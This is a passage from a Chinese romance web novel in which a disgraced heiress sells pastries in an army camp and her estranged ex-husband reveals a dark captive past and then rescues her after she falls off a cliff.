之前卖书肆和宅院的钱在那黑店弄丢了,现在身上的钱是姨母这些时日在封州给那里的贵妇梳头赚来的,她以前的产业因为那桩案子被抄了,只有这些钱了。 她想着,以后如果可以给父兄翻案,那么,找证人找证物跑跑走走总要花钱的,现在这世道,可能还得花钱疏通一下关系,给官员一些孝敬。 裴陆戟以前是因为怨恨她姨母,但如今一切误会都弄清楚了,他如果真的肯帮忙的话,她也总得要送一些东西的。 英国公府家大业大,可能看不上这些,但一旦走流程翻案了,一些活络关系的银子,总不能让英国公府给出吧。 想到这些,戚央央突然觉得,没钱好惨,以前有钱的日子过得多潇洒啊。 于是,她痛定思痛,决定先从赚小钱开始,一步步重新积攒家财。 她如今手里也没有什么好赚钱的法子了,唯独点心做得还不错,便打算先从卖些糕点开始。 第一天,戚央央做好米糕在军营里面卖,一下就卖光了,扣除本金还多赚了十几贯钱,当天就加了钱从军营里买了两只大鸡腿烤来犒劳了自己和沐大哥。 沐江恩这一天忙着去军营外的荒地帮忙,也累坏了,闻到鸡腿香味也馋坏了。 “小央卿卿,没想到你这么厉害啊,第一天就赚了这么多,那我跟着你,以后可有福了。” 他笑道。 “那是当然,”戚央央自豪道,“我的点心做得可好了,军营里的人每天都吃那么些固定的饭菜,又不是所有人都能随随便便出军营,那些没有硬后台的,品阶不高的,也只能每日待在营里,我的这些米糕虽然是家常菜,却是这一带大多士兵家乡的常菜,他们想家了,我卖的价格也不高,当然会想买来尝尝啊。” “只是,我现在虽是家眷的身份可以自由出入军营,但如今这军营外好像挺乱的,暂时我可能也只能做做军营里面的生意,想赚大钱好像不大行,似乎也没帮到你什么呢。” 她叹气道。 “没事,不还有我吗?”沐江恩摸摸她头,“我军饷还可以,这些年替王爷立的功劳也得到不少赏银,等这桩事一结束,回去指定也能得不少赏银的,到时候我就全部交给你管,你可以拿来买铺子,做什么营生都行,以后赚钱了,每月支我一些零花就行。” 听到这里,戚央央红着脸立马背转过身去,“沐大哥,你知不知道什么人才把自己的钱都交给一个女子替自己管啊?” 裴陆戟以前也会将自己的私产、俸禄什么的全部交予她,但英国公府家大业大,需要支出银子的地方也颇多的,她从来都战战兢兢的,从不敢拿他的私产来做自己的事。 现在这个样子,让戚央央觉得,还好自己的卿卿是出自平凡之家的,有一份不错的俸禄,性子好,人也上进,陪着他勤勤恳恳过日子,未来可期。 二人坐在校场附近同甘共苦的模样被恰好这边走来的裴陆戟看见,格外的刺眼。 今日军营分配的伙食只有几个大馒头,配一些小菜,裴陆戟刚从伙食堂出来就看见不少人手里拿着一种造型别致的米糕。 是以前他在府里吃过的玉兔形状的桂花米糕。 他记得戚央央有次把药掺进米糕里,端来时笑着同他道:“今日中秋,你就算不吃月饼,也总该尝尝这米糕,它是来自月宫的玉兔,能保你一年都心想事成,平安顺遂的。” 如今,再也没有人会在中秋佳节之际,哄他吃玉兔糕了。 他抠下自己发带上的翡翠,跟一些小兵交换了这米糕,用碗端着馒头和米糕准备回自己帐中时,路过校场便看见这一幕。 “啊,是大司马!”沐江恩看见他,率先叫了起来。 随后,他低头同旁边的女子商量着什么,只见女子欣然点头,他才端起自己碗中的大鸡腿,走前来主动同他打招呼,并且将自己的鸡腿,夹到他的碗中。 “大司马,劳作一天很累了,快吃个鸡腿补补身体吧。” 沐江恩很热情地笑着,“军营里一天也没什么好饭菜,大司马从京城来这边也不算久,想必是吃不习惯的吧。” 听着他呱噪得像从前某人一样,裴陆戟一时觉得头痛欲裂,拳头握紧。 “快点尝尝,要是觉得好吃,以后再给大司马带。” 就在他自己也以为自己会忍受不住扔掉鸡腿之际,他一下就抓住了那个鸡腿,往嘴里三两下狠狠撕咬起来。 “好啊。”他笑得有些奇怪,后槽牙怎么看都是紧咬的。 他知道鸡腿一定是她烤的,他不会再扔掉,或者做一切有可能伤害她心的事情了。 哪怕她从今往后可能都不会再在意。 第55章 他觉得自己的心已经被千锤万…… 戚央央从前从未见过, 裴陆戟肯大口吃肉的样子。 因为觉得纳罕,她一时看愣,竟直接站了起来, 朝他走来。 “世子你原来喜欢吃鸡腿啊”她感到奇异道,“那我这只鸡腿也给你。” 她献殷勤般地从自己碗里夹出鸡腿, 也放进他碗里。 可她这回献的殷勤, 不是因为他, 而是像小媳妇一样附和着她的情郎, 跟他一块讨好上峰似的。 他觉得自己的心已经被千锤万打得体无完肤,但还是得咬牙将这些鸡腿都吃下去。 他吃着吃着, 不顾胃里在翻腾,强忍着不吐出, 接着去吃戚央央给他的那一只。 起初二人都欣喜他能接受,他能喜欢, 但后面越看他吃的, 越觉得怪异。 好不容易在他们面前将那两只鸡腿都吃完, 他已经浑身飙起了冷汗, 像一个命不久矣的人。 “戚央央,你可知以前你每次喂我吃肉, 我都跑出去抠喉咙,是为什么?” 他大口大口喘着气, 身上的冷汗越飚越多,看着有些吓人。 “那是因为小时候在羌北活死人墓里的时候,我在那石棺中, 为了活下去,只能靠吃石棺里的腐肉为生。” “你们那些战俘被抓进去统共待不到十天,每日最起码有一顿正常能吃的饭, 哪怕是些馊的饭菜,那也最起码活得像人!” “可我呢被关进石棺,一关就是大半年,里面只有一些给我陪葬的尸首,”他端着碗,突然就红了眼睛笑起来,“我不吃那些,还能吃什么?” “怎么样,吓到你了是吗?这就是我为什么这些年来甚少碰肉的缘故” 从前他不会自己主动说出来,就是怕像现在一样吓着她,或者被她知道了之后,会害怕或者讨厌他。 他其实也不知道为什么,自己要把这些从不曾与别人说的话,在此刻都说出来。 许是那两个鸡腿吃下去,实在让他难受得紧,话便这样不知不觉说开了。 反正,现在无论他在她面前的形象是怎样,都不耽误她讨厌他 忍不住说完这些,裴陆戟看着她讶异的眼神,突然有点不大敢面对她的目光,端着手里的碗,像过街老鼠似的,转身就走。 戚央央看着他一身粗衣布满泥污却高洁傲岸有余的背影,端着那一个豁口的粗瓷碗离去得又急又快的样子,突然生起些愧疚。 “沐大哥,我们刚刚是不是很过分呀?” 戚央央皱眉。 沐江恩也看着他背影点头附和道:“好像确实有点” 央央也不是故意的,但她确实不知道啊以前姨母从不让人在府里提及一切有关“羌北”或者有“羌北”字眼的事。 她也就没去细细追究他的过往了。 这么看来她好像就算是从前追着他跑的时候,对他情感最炙烈的时候也没有想过要深入去了解他的过往啊 “那该怎么办才好啊”央央秀丽的眉头都蹙成结了。 她真的好担心啊,要是他因此记恨上她的江恩卿卿了,给他下绊子可该咋好啊 突然间,她脑海涌现起他转身离开的那一幕,他那粗瓷碗里盛装着被他用手护着的其中好些,好像是她做的米糕啊。 校场外,刘校尉操兵经过,看见了这边发生的一切,思忖了片刻。 中秋节晚上,军营里除了要值守的士兵外,其他人都休沐了。 这天佳节,家本就在附近的人早早就回去与家人团聚,还有一些则结伴着进城里赏月赏花灯,到酒肆里大吃一顿,军营里除了值更的士兵外,寥寥无人。 可裴陆戟这天却依然待在自己营中,摆一壶桂花酒,再放几个从士兵手里买来的玉兔米糕,抱着小兔,独自过节。 他将自己是时候要服的药,碾成碎末渗进米糕,掀开营帐帘子,让月光透了进来。 从前他不喜欢服那些药,是因为那都是些使人服后心会逐渐变冷变硬的药,等血液不再有热度了,从前所经受的苦难,也就不再有意义,他会渐渐心灰意冷得连那些害他受伤的人,都懒得动手了。 可人之所以为人,倘若连恩仇都可以摒弃,爱恨都可以抛离,那活着还有什么意义? 他宁愿一辈子都被人叫作“疯子”,也不愿意受这种心被束缚的苦。 但却曾经有一个人,每旬变着法子哄他吃药,告诉他往后身子大好了,便再也不必吃药了,以后他好了以后,人就会变得健谈爱笑,乐观善良积极,像她一样的了。 如今他也终于明白,那会她会那么想,大概是认为他是她以为的另外的人吧。 他就是他,药再怎么吃,也不会变成另外一个跟他截然相反的一个人,她当初为何就想不明白呢? 他沉默着,手里捏起一块糕,怎么也舍不得吃。 吃了往后便没有了。 这时,营帐口探出一个鬼鬼祟祟的头,诚惶诚恐地在门口张望。 一支短匕迎面朝那人飞来,擦着脸庞而过,鬓边发丝便随风而散了,人也吓得倒坐在地,呃呃呐呐。 “如此鬼祟,想做什么?” 裴陆戟朝他摊开手,意思是让他把扎地上去的短匕拔回来交还给他。 刘校尉战战兢兢地爬过去拔了。 “说吧,到底什么事?” 他收回短匕,不耐烦道。 刘校尉稳了稳心神,才敢对他道:“大大司马,卑职知道,同沐将军一块的那位姑娘对大司马你很重要,是吗?” “卑职有个办法,可以让那位姑娘对大司马回心转意的,大司马想不想听呢?” 裴陆戟冷笑一声,“原来你打这种鬼主意就想让我放过你,是吗?” “告诉你,你最好想也别想,就凭你这种脑子能想到的,能是什么好办法呢?” “我尚且做不到的事,你一个酒囊饭袋,哪来的自信??” “滚!!” 刘校尉吓得慌忙连滚带爬地走。 身后突然发出“砰”一声瓷片碎掉的脆响,转身望去,身后已成狼藉。 原来他刚刚威吓刘校尉的时候,小兔被他的声音吓得一哆嗦,撞到案几腿,把摆放在上方的糕点全都摔下来,碎了。 看来,今夜连个赏月应景之物都没有了 戚央央和沐江恩此时都没在营帐中,裴陆戟都以为他们二人在这种日子,肯定携手出去过节了。 可其实,此时那二人正悄悄借用军营的炊事棚,在做新的糕点。 沐江恩在一旁将糖块研磨成粉,央央则开始将栗子打成泥用巧手捏成一个个兔子形状。 “明日就过完中秋了,我们要趁着今晚加紧多做些卖,今夜值更的士兵肯定喜欢,沐大哥,谢谢你过节也陪着我干活。” 央央用袖子一揩脸上的栗粉,笑道。 但很快她又忧虑着:“在军营里卖些各地家乡特色糕点虽然能赚些钱,但要攒钱买铺子,再回到从前甄家那样的规模,恐怕还是有些难度,倘若我能出去军营外面的地方看看有哪些赚大钱的机会就好了。” 她在说着话的时候,沐江恩边磨着糖粉边走神。 他昨日听了裴世子的话后,当时没有多想,但事后回去,则越想越不对。 不是啊,当年跟他们一起在羌北活死人墓的,又是在墓穴最里层被关在石棺中的 不会,真的那么巧吧? 央央见叫了他几次没回应,便探出头来,大声道:“沐大哥!” 沐江恩回过神:“嗯?怎、怎么啦?” 央央笑:“我才要问你怎么了呢,好像心不在焉的?你怎么了?” “没有,我”他看了看她的笑着的脸,欲言又止。 “没什么,想着这糖粉打得够不够细而已。” 翌日早上也是大多数人休沐的日子,央央这回不做糕点了,改做一些解酒的葛花汤。 昨夜进了城里过节的人,难得离开军营,定是有喝酒的,喝酒的话,今日回来定然头痛,她熬这些葛花汤就刚刚好,而且她还在原来醒酒的配方上,多加了一些酸溜溜的梅子,闻起来酸酸甜甜,能刺激味蕾,恢复食欲。 刘校尉看见她推着木头车出来,就立马追了上去。 “戚姑娘!” 戚央央看见是刘校尉那刻,眉头直皱,推着车子直往外走。 刘校尉见状,也不敢追了,只能在身后大声唤她:“姑娘卖的什么,我全要了!” 央央脚步不争气地停了下来,回头轻眨着美眸:“当真吗?” 刘校尉很快就开始后悔自己先前说过的话了。 眼看着她推着一桶接一桶热气腾腾的葛花汤出来,看着他像看一头任由宰割的羊,笑眯眯的, “里面还有五桶,一桶可以卖五十碗汤左右吧,一碗卖三文钱,一桶一百五,十桶一贯零五百,这里有三十五桶,再加一些烤饼啊,豆花什么的,一共八贯零三百六十八文钱,给你抹个零,收你八贯三百七十,送你一把油纸伞,待会日头晒了,你站在这里卖汤就可以用上了,这种油纸伞外头得卖十几文呢便宜你了,我这些货,你转手卖,卖便宜点也绝对能赚一贯以上,怎么样?这生意很划得来吧?” 刘校尉眼看着这娇滴滴的姑娘家竟把账算得贼溜贼溜,不由愣住了。 他一个校尉级别的,每月军饷两贯钱,折算其他米面啊,布料什么的,也就四贯左右,可这一顿却花了他八贯三百七十! 若不是平时从别的士兵和家属那里能收些孝敬,他怕是掏了这一顿就身无分文了。 “戚姑娘你一个人做那么多吃食,得多早起啊?”他打着哈哈掩饰心疼。 戚央央美滋滋地收下钱,边数边算着自己赚了多少,做那些东西,材料都是用足的,统共也要两贯零二百八十,木头车租的五十文一天,做食物的场地费给了孝敬的折算下来一天也要三百文,那就是 “戚姑娘你一天卖这些小东西竟然能赚这么多,这利润怎么也有两贯了吧?”刘校尉抹了抹汗道。 戚央央就将算得的利润削了个□□成脱口道:“利润才一贯零三十七文,官爷你有所不知,我租的这场地费贵啊,能赚一贯我就知足了。” 刘校尉转念一想,她这一天能赚一贯的,一个月下来,不是比他这当官的半年俸禄还多了? 没想到这小生意看着不起眼,赚得还挺多呢! 原先他还没想过真的要卖这些货,可现在,他看了看手边得到的这些货,眼睛瞪得直直,咽了咽口水道: “那要是我每碗卖个四文钱,好像就不止两贯了呀” 戚央央依旧笑着。 他一个校尉官,东西由他来卖,当然可以卖四文钱,反正军营里也就这独一家的,每碗贵一文,士兵也不会说什么,但她就不行了。 “那若是”他眼睛瞪得更贪婪,“每碗卖十文,不就” 戚央央赶紧笑着喊停道:“官爷,官爷,这做生意的,要讲求个你情我愿,才能做得长长久久嘛,你卖得这样贵,长久以往人家掏钱的都不情愿了,要合些,价格合些才能细水长流嘛。” “是是是是这个,肉要细水长流割,才能常割常长,常割常有”刘校尉点头如捣,“那以后你的这些货,都我包了啊” 央央叹气,原本没想动官商这种合作方式的,可如今都是被逼的,她也没有办法了,只能含泪答应这桩每日稳收这五贯三百七十利润的生意了。 哦不,每日稳定走量了哇,用料上要是能不从军营里买,可以亲自出去采买的话,兴许成本上还能压个两三成呢。 第56章 他无奈又酸涩地背转过身 “官爷, 你这样吧,生意上你懂得的没我多,不若往后你从我这拿货的话, 就听我的来卖吧?” 戚央央是个贼有良心的商人了,为了防止他拿她的东西在军营敛收不合的钱财, 这样提议道。 刘校尉也笑着欣然接受了。 “哦, 对了, 戚姑娘你生意做得这么好, 成日在军营里,也实在屈才吧?沐将军不是要留在军营离不开吗, 军营外面现在也比较乱的,你想不想嗯, 若是你想到外边的话,在下可以负责你的安全。” 刘校尉这么一说, 戚央央确实有些心动。 不过这人嘛先前还绑过她, 还引了别的军官意图沾染她 可她如今是沐将军眷属的身份, 料想他看在荆王的面子上, 不敢动她的吧 做生意本来就是要有敢与虎谋皮的胆量,本就要冒险的, 她当着刘校尉的面去跟沐大哥交待行踪,他再怎么也会有所顾忌的吧? 于是, 戚央央同意了,可是要先去跟自己的爱侣报备。 刘校尉也笑着让她去了。 戚央央去军营后面的农田找沐江恩,发现他今日没在, 问了士兵,才知道原来他跟着裴大司马去了林后切磋剑术。 她跑得裙角拂起地过去了。 沐江恩是武官家出身的,自幼习武, 学的招数多是应付实战,剑术上也没有花架子,多是剑剑到肉的攻势。 而裴陆戟早年也领过一些兵,儒将一样的人物,体型上较于沐江恩更为纤瘦修长,更显俊美英挺,却也并非中看不中用的,光用左手持剑就能招招拆招,且剑法精妙至出神入化的程度,倘若不是因为受伤藏着掖着,刚才那一招行云流水地过去,就能顷刻直指咽喉了。 此时他的剑被打落,也是因为戚央央赶到,朝着沐江恩大声呼了一声:“沐大哥真棒!” 诚然他是可以避开沐江恩刚才那一招,只是,他都使出了十成的招式,他倘若盖过他的风头,又该惹她不高兴了。 她有时候确实就如此蛮横无。 “沐大哥!”她像一只欢快的小雀,扑腾着翅膀飞到她心爱的人身边,而明明这些以前都是对他的。 裴陆戟无奈又酸涩地背转过身。 “沐大哥,第一次看你练剑,原来你剑法如此了得,这么厉害呀!” 戚央央情不自禁地大肆夸赞道。 沐江恩被夸得龇起了虎牙,阳光下格外耀眼,但很快他想起什么似的,连忙道:“小央卿卿,世子他也很厉害的” 戚央央恍然想起现在要讨好他的事,赶紧改口道:“啊对对,裴世子,大司马,你你刚刚只是一时失手、一时失手,你当然也是除我沐大哥以外剑法很厉害一个人了” “马屁别拍了,”他眉头皱得死紧,回过头,苦涩道:“很假知不知道?” 随后他捡起剑,退避到一旁。 “有什么话赶紧说,我还有事,不想等你太久。” 这话是对着沐江恩说的,沐江恩赶紧“嗯啊,好”回着,然后过来拉着戚央央往外走,“怎么了?有事找我吗?” 戚央央便将自己要出军营的事告诉他。 他迟疑了一下道:“要不还是我护你去?” “不用了,”她道,“你此次是遵王爷命令来的,来到这里后自当要守军营的规矩,其他人不守那是其他人的事,可你是代表王爷的脸面,差错不得。” “他都让我前来跟你交代了,应该不会有事的,要是有事,事后你不得找他麻烦?” “而且你不是说吗,”她朝他调皮地挤了挤眼,“你还要帮我的嘛,不是吗?” 沐江恩点点头,她把一块甜甜的酥糖塞进他手:“早上做的。”然后笑着朝他挥手离开。 那边林子里的人已经等了他许久,等得有些心烦意乱了。 他手握剑柄,捏得越来越紧,脑海中就不由自主联想到更多,没等沐江恩过来,他就收剑离开。 “世子,等一下!” 沐江恩在后头追上来。 “今日我找世子练剑,其实还有一事想问清楚” 他追得气喘吁吁道:“世子上回说,当年在羌北活死人墓,你也是其中的战俘之一,是吗?” “所以当我第一次见世子时,会觉得世子模样熟悉,原来并非偶然。当年在墓中,我和世子曾见过的,世子不记得了吗?” 沐江恩这么一说,裴陆戟不由皱眉睨着他。 “当年”他比划着,“你在石棺里,告诉了我逃走的路线,还在石棺里催促我快走,于是我就带上自己的朋友逃,结果动静闹得太大,最后能逃出去的只有我朋友。” “后来,趁着一次墓里来了些念咒的人,那內墓室的门又开了,我便闯进去推开了那石棺,把你救出来的,你不记得了吗?” 听着他的描述,裴陆戟渐渐想起一些。 “玉佩,我当年系在你腰间的玉佩,还在吗?” 裴陆戟缓缓点了点头,“你就是那少一颗门牙的少年。” “原来真是你!”沐江恩呲牙道,“说的是这颗牙吧,我后来给自己找了颗兽牙安上,这么多年,这牙已经同我的血肉融和一起了。” “当年若不是你,小央和我,压根就逃不出去,没错,我说我带的那位朋友,就是她。” “所以这么说来,当年小央得救,功劳最大的人应该是你,可她并不知道” 沐江恩皱了皱眉,“我听说,她当年和你在一起,是因为把你错认成我,不会是因为那块玉佩吧?她现在对你变冷淡,是不是也是因为我?” “那要是她知道,当年如果没有你,她也逃不出去,那” “她要跟我和离,与救命恩人的事无关。”裴陆戟突然出言打断了他, “她决定跟我和离时,尚未知道我不是当年救她出去的人,她是纯粹对我生厌了,才离开的” “是吗?”沐江恩听了这话,总算放下心来:“可我怎么还是觉得,我是沾了你的光呢?” “她知道了吗?”裴陆戟突然道。 “还没,”他道,“我还不确定那人是你,我会找机会” “不要说。”裴陆戟要求道。 沐江恩一愣,“为何?你喜欢她不是吗?” 从前裴陆戟总抗拒承认自己的喜欢,和爱慕,可到了这一刻,他却说不出否认的话,一想到上回他明明护了她,以命相护,可当她知道了,还是下意识就想消失无踪,他就 “我只会伤害她,不想再让她难过了。” “再说了,她如今喜欢的人是你,她和你在一起,至少你伤害不了她。” 他终于说了一句实话。 沐江恩点点头,也不强迫了。 随后,他就朝他跪下,弯腰,两手交合向前附地,磕头行大礼道: “我,沐江恩,替当年羌北活死人墓里所有活着的战俘们,谢谢世子救命大恩!” “世子大义,江恩,没齿难忘!” “当年倘若不是世子以自己一命作为交换,吾等怕是早已被削成花泥,断断不能活至今日,可是,当年世子苦心谋划,让大家逃出生天后,功劳却被旁人所夺,而世子也在那阴冷的墓室中,待到将近大半月之后,才侥幸出了墓。” “世人只知是六皇子救下的我们,连我也差点就以为以为当年救所有人的,是六皇子的人,我是真没想到” 裴陆戟看着他惊愕的样子,轻轻笑了笑。 · 刘校尉带了几名小兵,一路护送戚央央进城找机会洽谈生意。 可半路上,突然遇了袭。 刘校尉半条腿被削没了,拖着血路爬回军营找来农田。 “大大司马,不不好了” 他本是来找沐江恩的,但裴陆戟也在,事急从权,只能将遇袭之事一五一十告诉了他。 “戚姑娘坠入山谷,我们在山底下找过,没找着” 沐江恩尚未朝他发怒,裴陆戟已经先他一步“噌”一声拔了他腰间的剑,一剑刺中他断腿。 刘校尉发出撕心裂肺的惨叫。 “你忘记我怎么跟你说的?”裴陆戟阴着脸,那眼睛里透出的杀意,让人胆战心寒。 “大大大大司马饶命!饶命啊卑职卑职怎么敢?” 刘校尉简直要吓尿了,“你你你你昨夜说了不许卑职那么做,卑卑职就只敢去讨好姑娘讨讨好她,怕怕从前那么待她,她她会翻旧账我我带她出去谈生意也是也是讨讨讨讨好卑职卑职真没想过会会会有人要杀她啊” 裴陆戟转而看着沐江恩,“她方才来找你,就是跟你说她要跟这家伙出去?” 沐江恩凝重地点了点头。 裴陆戟扔了剑就走,刘校尉在后方叫着:“是是军营不远的矮丘附近悬崖” 沐江恩没追上裴陆戟,裴陆戟已经循着血迹来到矮丘悬崖上了。 这里的山风猎猎吹拂,泛起浓重的腥味,崖边大坨大坨的血液让他瞳孔骤缩,心脏骤停。 身后“小央”“小央”的声音才响起,可他已经循着她坠下的痕迹,跳了下去,不带一丝犹豫。 第57章 他这个时候还是继续用沐江恩…… 裴陆戟也不是一时冲动就跳崖的。 他来到悬崖边的时候, 就发现了这里的植被长得异常茂密,而且从悬崖边往下望,视线都被悬崖上的绿植遮挡, 压根望不到底。 据刘校尉方才所述,他带去的人一共有十二人, 刺客只有一人, 在刺客亲眼见人坠下后就马上离去, 当时刘校尉生怕被刺客跑掉后他死无对证, 于是派了几人追上去,剩下的则到悬崖下找人。 他的人分两队, 一队追一队找,按说刺客应该不会比他们先一步找到悬崖下。 那人掉下去不见, 不排除还有卡在半道的可能。 裴陆戟看着悬崖边血迹,看着那些大大小小踩出的血印, 模拟着当时戚央央被迫跳下的情况, 跟随着跳下去, 是最快也是最直接找到她的办法。 往下跳后, 他顿时就觉得眼前视线被大片大片的绿植所阻,他努力想象着戚央央思考问题的方式, 尽力做出她面临此境会做出的举动。 竭力抓住崖边一根带血的藤蔓,双脚在边沿蹭擦着。 随后, 眼前跃进一根粗大的老树枝丫,他看准了被蹭掉树皮的位置,手指一下子挠在了那个地方。 他抱住大树枝丫, 很快,就听见有微弱的声音,在不远处传出。 顺着树枝一路攀过去, 很快,他就看见一个在半山道的悬崖里,竟有一个石窟,而戚央央,就在里头呼喊着。 “沐大哥沐大哥沐大哥沐大哥是你吗?是不是你?” 裴陆戟翻身进洞穴的脚顿了一顿,但还是跨了进去。 这是个异常窄小的石洞,人只能坐着,再往上就顶到头了,躺也只能半躺,全躺下的话,姑娘家的身量可以,像裴陆戟那种的话,只能把膝盖以下悬出去。 “很抱歉让你失望,我不是他呢。”他道。 只是洞内那人也没有反应似的,还在不停“沐大哥”“沐大哥”叫着,摸着地面感受着震动,抚上了他的手。 “沐大哥!真的是你!我就知道你定会找到我!”摸到他手的那一刻,女子很高兴,一把就抱住了他身体。 裴陆戟顿住,试图想将她拉开,并在她那双美丽却无神的眼睛前晃了晃手, “戚央央,你看不见了吗?” 女子一直抱着他,他试图掙开,她就用另一只手缠上来,紧张又惊恐道:“沐大哥沐大哥你为什么不说话为什么为什么我听不见一点声音,我是不是” “是不是又聋又瞎了?” 看着面前这个美眸睁得大大,眼神却空洞不已的美丽女子,大滴大滴泪水珍珠似的从她眼眶汇聚涌出。 他见不得她这样子,立马用手去接眼泪,并且拉过她手,往她手心上写字: ‘不要怕,可能是你摔下时,一时的心火亢盛导致阴阳失衡,气血不畅,导致气滞血瘀所引起的。’ ‘你心情尽量放松,我帮你检查一下伤势。’ 戚央央眼泪止住,“嗯,你这么说我不怕了幸好有你,沐大哥。” 她说着,又张开双臂牢牢抱住他。 裴陆戟知道这个时候还是继续用沐江恩的身份比较好,她情绪激动,知道是姓沐的话,她能放松下来。 他便只好暂时任由她抱着,然后从头部开始检查起。 她头上除了额头处有轻微蹭伤外,也没有其他伤处,手脚处倒是有明显的被枝杈和乱石刺伤的痕迹,不过都不是很严重的伤。 戚央央一直埋头窝在他怀里,脸色也渐渐羞涩起来。 “沐沐大哥你是不是要检查我,我里面的伤” 她挣扎了好久,还是一边解下襟口,一边道:“我我知道,太主动的女子可能引起男人反感,但但是,我还是想要相信你,你帮我检查吧,我不能再像以前一样,一味顾着感情,连自己受了伤也不顾,就算就算你会因此厌倦我,那也没有关系,我不会因为你看了我身子,就让你负责的。” 裴陆戟见她解开襟口那下,本是想躲开的,但听她这么说,他心头被刺了一下,立马抓过她手,急急地往她手心写道: ‘谁跟你说,女子太主动会引男人反感的?’ 戚央央一派天真地笑道:“这还需要人跟我说呀,这都是我过往的经验教我的。” 裴陆戟脸色难看,心脏像被一只手按捏着似的,酸胀厉害,连忙又抓着她手写: ‘不对,你误会了,没有反感,他没有反感。’ 戚央央婉柔地笑了,“你不用特意这么安慰我,如今裴陆戟反不反感我,对我来说不重要了。” 裴陆戟听到这话,黯然了下,随后紧接着在她手上写:‘是啊,他不重要,别人也是,在这世上,没有人比自己更重要,你往后不管遇上任何事,首先要爱的,一定是自己,好吗?’ 央央甜甜地笑了,点点头,“嗯,谢谢你沐大哥,是你教会了我这些,往后我不会再随随便便为别人伤心了,我要学着多爱自己。” “所以,你帮我看看伤势吧,”她已经把衣襟揭开,脸上神色坦然,“我不该再为了担心你的喜恶,而置自己安危不顾,因为你就喜欢那样的我,喜欢我自尊自爱,不为男人而活,不是吗?” 她这话,听起来怎么这么别扭,裴陆戟听得眉头直蹙,不过,好在终归能为了自己,不为别人而活了。 在这个地方一时三刻也找不到人来救,他生怕她身上若是落了什么伤处不及时,会留有后患,所以只能深吸一口气过后,轻轻拉开她衣裳。 “戚央央,若你往后怪我瞧了你,要打要杀,任由你就是了。” 他说完,手指发颤掀开了。 他也不敢乱瞧,只能垂着眼用余光识别哪儿有血迹,然后目光再移到伤处。 幸好似乎也没什么伤,只有腰部衣裳擦破处揩伤了一些,盆骨附近撞淤青外,就没旁的了。 ‘悬崖上生有草药,我采摘些给你治伤。’ 他在她手心写完,把她安置好,自己挪出洞外找草。 戚央央急得只能在身后叫:“小心些” 裴陆戟回过头望她,那一刻她目光迎着洞外透进的光,像是落在他身上似的,却也不像以前痴迷他时的那种目光,这叫他莫名有种安心的感觉。 他心绪一时涌动,立马又折回去,将一方绣帕塞进她手中。 戚央央摸着那帕子上的纹路,惊讶道:“这是青山江河绣?我丢的帕子上回被你捡了吗?” 裴陆戟学着沐江恩先前的样子,帮她捋了捋鬓发,让她找到一些安心的感觉,然后在她手心写道:‘别怕。’ 央央用力点点头,握紧帕子:“嗯,有你在,我不怕。” 裴陆戟再次往悬崖边挪。 刚才抱着大树枝丫的时候,看见往下不远处就长着一些开着粉色花蕊的,叫王不留行的草药,这种草剁碎了敷在流血不止的伤口,能顷刻止血,伤淤处也能很快通散。 只是刚刚跳崖之时,为了不错过一处查找的地方,费了好大心力,现在体力上也有些跟不上,踩在悬崖的树枝上时,身子也有些微晃。 往下再够一些就能够到了,可这时候,半空中几只盘旋着几只彪悍的隼,它们好似盯准了山洞内的人。 裴陆戟大感不好,随意揪下一些草药塞进怀里,就抓着崖边石头往上攀。 其中一只隼像是将他视为潜在有威胁的天敌,一个急瞬俯冲下去,尖锐的嘴巴对准了他。 裴陆戟用力从崖上抠下一块锋利的岩石,在那鹰隼迎击而来的那刻,瞅准了机会,一下砸中它脑袋。 顷刻间,那隼的脑袋被拍出脑花,撞击在崖边,以惨烈的叫声迅速往下坠落。 枝叶层层发出断裂的声音。 另外两只本来要袭击洞穴里的人的,现下看见情况,都迅速锁准了裴陆戟的方向。 裴陆戟伸手解下发带,发带一卸,墨发如瀑倾泻,他一手执发带,一手抓树枝,双腿盘住崖壁树干部分,迎向那些进攻而来的鹰隼,牙往发带一咬,死死一勒,一次勒死一只。 被勒断脖子的鹰隼就像沉重的石头般,擦着崖边的枝叶,层层坠破往下。 鹰隼攻击的速度加快了,他一次只能勒一只,没多久,他就被旁边夹攻的隼抓破了脸庞,眼睛差一点被啄中,他伸手一把揪住它的啄,随后又有两只俯冲而下,他为了抗击,失手往下坠去。 身体在层层叠叠的枝条拦截下得到了缓冲,他驱赶了鹰隼,立马腾出一手抓住崖边跃出的枝干。 人吊在了半空,发带和草药俱掉了下去,渐渐没入层峦叠翠中。 鹰隼没再攻击他的话,肯定会把目标重新落到石窟中的女子身上的。 裴陆戟大喝一声,咬牙伸臂往上爬。 血液从手筋处蔓处,沿着他小臂勃`出的肌,往下流淌,慢慢地都滴在了他脸庞上。 这一刻,心急灼燎的他,终于体会到那一日,戚央央独自下淮东,在泾河一带骑着马赶路,从马上摔下也要接着找,哭着心急如焚找他的感觉了。 “戚央央” 他咬牙奋力往上攀,血水已经滴落在眼眉,涩疼难忍得睁不开眼。 可他毅然睁开,任由血水一点点将眼眶染红。 “等我。” “戚央央!” 上方再次传来一群鹰隼俯冲发出的尖鸣声,隐隐伴随女子的尖叫。 “戚央央!!” 裴陆戟咬牙,加快了速度往上。 第58章 他做过的那些事,他都小心翼…… 踩着枝条从树干一跃而上, 石洞口那里,两只强壮的鹰隼已经钻了进去。 “啊——!!” 洞穴内传出戚央央的声音,裴陆戟拽下一根带刺的枝条, 朝鹰隼劈去。 那两只凶猛的鹰隼看见他,仿佛瞅准了敌人般, 扑动着巨大的羽翼, 双爪锋利地朝他袭去。 此时石窟外不知怎么, 又飞来了两只隼, 从背后朝他袭击。 这个洞穴内位置太小,他怕伤着她, 束手束脚,不敢把枝条幅度甩得太大, 以致自己腰腹、颈项处俱受了伤。 最后干脆扔了枝条,徒手撕的, 掐的, 上手扭的。 他红着一双眼将几只鹰隼吓得铩羽而逃后, 便赶紧扒拉洞外一些野草和枝条, 将这个石窟的洞口,严实遮盖起来。 这时戚央央又在惨叫了。 “啊!沐沐沐大哥!” 裴陆戟慌忙爬过去, “央央,别怕!” 央央感觉到热气醺腾的气息, 立刻知道人在她旁边,她第一时间扑过去抱住了人,哭泣着:“我刚刚刚刚好像好像摸到虫子了” 洞口里没有完全掩密, 有一丝光透进,刚好瞧见央央身子底下,有几条肥美的有手指那么粗的虫子在蠕动。 “刚刚到底发生什么了, 好些滑溜溜像虫子的在我脸上滑落,我都快吓死了” 按死了地上蠕动的虫子,再细细检查,发现她没有受到任何伤,看来那两只鹰隼应是把洞内的戚央央当成是自个的崽子,刚刚是在给她喂虫子,这才吓着了她。 